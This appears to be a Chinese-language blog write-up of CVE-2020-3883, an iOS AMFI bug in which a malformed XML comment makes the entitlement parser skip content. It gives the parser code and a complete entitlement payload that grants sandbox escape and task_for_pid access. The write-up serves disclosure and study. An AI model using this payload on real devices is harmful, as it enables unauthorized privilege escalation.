背景
要阅读此文,首先需要了解以下背景知识:
首先,iOS 沙盒进程访问一个资源的过程是这样的:
其次,iOS App的权限是通过 XML 格式声明的,一个典型的Debug权限如下:
<key>get-task-allow</key>
<true/>
这里声明了App具有 get-task-allow 权限,此权限将允许其他进程附加到App进行调试。
另外,AMFID使用 CoreFoundation.framework 里边的 CFPropertyListCreateWithData 解析签名。而Kernel使用的是内核函数 OSUnserializeXML 进行签名校验。
最后,iOS 13.5修复了一个 AppleMobileFileIntegrity(AMFI) 漏洞:
AppleMobileFileIntegrity
Available for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation
Impact: An application may be able to use arbitrary entitlements
Description: This issue was addressed with improved checks.
CVE-2020-3883: Linus Henze (pinauten.de)
而 amfid 是iOS中的鉴权守护进程,那么意味着 13.4 之前的iOS可以利用这个漏洞来提权。
起源
我们知道,XML 格式的注释是这样的:
<!-- 这是一条注释 -->
它以 <!-- 开头,以 --> 结束,中间包裹的是注释内容。触发 bug 的是这么一个注释:
"<!---><!-->",它的注释内容是 "-><!"。
我们来看看CF里边的XML解析逻辑实现(链接):
static Boolean getContentObject(_CFXMLPlistParseInfo *pInfo, Boolean *isKey, CFTypeRef *out) {
switch (*(pInfo->curr)) {
case '!': // "<[curr]!---><!-->"
// Could be a comment
if (*(pInfo->curr+1) == '-' && *(pInfo->curr+2) == '-') { // 检查 !--
pInfo->curr += 2; // "<!-[curr]--><!-->" 触发 bug 位置
skipXMLComment(pInfo);
}
}
}
// 从当前位置,找到注释结束 --> 位置
static void skipXMLComment(_CFXMLPlistParseInfo *pInfo) {
const char *p = pInfo->curr;
const char *end = pInfo->end - 3; // Need at least 3 characters to compare against
while (p < end) {
if (*p == '-' && *(p+1) == '-' && *(p+2) == '>') {
pInfo->curr = p+3; // "<!--->[curr]<!-->" 到这里认为注释结束了
return;
}
}
}
这里的核心问题是,开始标记的 <!-- 中的最后一个 - 被计算了两次。
利用
利用上面的bug,我们可以构造一个权限的xml,让AMFID睁眼瞎,具体插入权限内容如下:
<!---><!-->
<key>platform-application</key>
<true/>
<key>com.apple.private.security.no-container</key>
<true/>
<key>task_for_pid-allow</key>
<true/>
<!-- -->
上面3个权限分别是:
- platform-application 声明我们是平台App,iOS 11以后,App分为平台(苹果家的)和非平台类型。
- com.apple.private.security.no-container 声明我们不是沙盒App。
- task_for_pid-allow 声明我们有权限调用进程API task_for_pid()
以上声明使得App获得了沙盒外 mobile 用户拥有的部分权限。
效果
修复
13.5之后,amfid 使用新的XML解析函数 AMFIUnserializeXML。
但是实测发现,14.4版本 iOS 的 CFPropertyListCreateWithData 依然存在解析注释问题。